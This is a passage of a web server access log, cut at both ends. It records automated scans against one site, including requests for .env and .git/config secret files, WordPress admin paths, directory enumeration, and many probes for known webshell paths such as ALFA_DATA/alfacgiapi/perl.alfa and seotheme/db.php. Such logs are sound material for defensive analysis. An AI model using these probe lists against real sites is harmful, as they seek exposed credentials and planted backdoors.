(Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 120.238.159.222 - - [21/Jan/2026:19:56:05 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 42.83.147.56 - - [21/Jan/2026:18:21:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 45.206.72.74 - - [21/Jan/2026:19:26:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /api/sendgrid.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /frontend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /www/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /admin/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /html/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /laravel/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /app/sendgrid.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /frontend/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /backend/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /config/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 129.150.36.137 - - [21/Jan/2026:19:55:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 129.150.36.137 - - [21/Jan/2026:19:55:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 129.150.36.137 - - [21/Jan/2026:19:55:24 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 129.150.36.137 - - [21/Jan/2026:19:55:34 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 129.150.36.137 - - [21/Jan/2026:19:55:49 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 192.71.142.40 - - [21/Jan/2026:20:31:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 45.154.98.111 - - [21/Jan/2026:23:18:13 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.154.98.111 - - [21/Jan/2026:23:18:13 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.111 - - [21/Jan/2026:23:18:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 89.117.104.53 - - [21/Jan/2026:23:40:58 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:00 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:00 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:00 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:00 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:01 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:01 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:01 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:01 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:13 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:22 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:26 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:29 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:29 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:29 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:29 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:30 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:30 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:30 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:30 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:34 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:36 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:37 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:37 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:39 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:41 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:45 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:48 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:54 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:41:57 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:09 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:27 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:42 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:46 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:17 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 49.144.20.219 - - [21/Jan/2026:22:43:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.154.98.111 - - [21/Jan/2026:23:18:13 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.111 - - [21/Jan/2026:23:18:13 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.111 - - [21/Jan/2026:23:18:21 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 198.235.24.28 - - [21/Jan/2026:23:37:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 89.117.104.53 - - [21/Jan/2026:23:42:03 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:19 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:33 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:52 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:55 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:42:58 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:04 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:07 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:10 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:27 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:31 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:34 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:36 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:56 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:56 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:08 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:08 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:12 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:12 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:12 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:12 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:13 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:13 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:13 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:13 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:13 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:19 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:19 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:20 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:21 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:42 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:48 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:43:51 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:03 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:55 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:58 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:10 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:19 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:28 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:30 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:53 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:56 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:00 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:03 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:13 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:18 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:20 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:20 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:20 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:21 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:21 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:21 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:27 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:30 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:34 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:37 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:41 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:48 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:44:50 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:45:41 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:28 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:28 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:28 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:29 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:29 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.53 - - [21/Jan/2026:23:46:44 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 47.101.129.162 - - [21/Jan/2026:23:47:36 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.165.186 - - [22/Jan/2026:00:09:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.145.153 - - [22/Jan/2026:01:08:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.42.110.255 - - [22/Jan/2026:01:48:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.202.4.80 - - [22/Jan/2026:03:42:25 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 203.159.90.25 - - [22/Jan/2026:05:13:21 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.25 - - [22/Jan/2026:05:13:21 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.75.196.230 - - [22/Jan/2026:05:13:54 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:14:04 +0300] "GET /sikma.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:14:27 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:14:35 +0300] "GET /okxh.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:14:41 +0300] "GET /krypton.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:14:56 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:16:27 +0300] "GET /varb.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:12 +0300] "GET /a5e0a.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:18 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:22 +0300] "GET /55b76.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:25 +0300] "GET /rzki.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:28 +0300] "GET /acxx.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:31 +0300] "GET /d12.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:34 +0300] "GET /s.php?p= HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:39 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:42 +0300] "GET /qaez.php56 HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:45 +0300] "GET /dox.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:48 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:51 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:53 +0300] "GET /6kUgr4yGzxN.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:56 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:57 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:17:58 +0300] "GET /clss.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:00 +0300] "GET /44.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:03 +0300] "GET /ii5file.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:06 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:08 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:11 +0300] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:13 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:15 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:16 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:18 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:20 +0300] "GET /wp-goods.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:23 +0300] "GET /144.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:25 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:27 +0300] "GET /vanda.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:29 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:32 +0300] "GET /zc-104.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:34 +0300] "GET /zc-729.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:37 +0300] "GET /bo.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:39 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:42 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:43 +0300] "GET /56c53.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:45 +0300] "GET /FII.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:48 +0300] "GET /wp-ac.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:50 +0300] "GET /atex1.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:54 +0300] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:56 +0300] "GET /wp-64wscx6shd.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:18:58 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:01 +0300] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:05 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:07 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:09 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:11 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:14 +0300] "GET /5b9ac.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:16 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:19 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:21 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:23 +0300] "GET /lm15.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:26 +0300] "GET /6kDPjgFTmvS.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:28 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:31 +0300] "GET /admin836.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:33 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:19:35 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 195.78.54.50 - - [22/Jan/2026:05:12:32 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 203.159.90.25 - - [22/Jan/2026:05:13:21 +0300] "POST 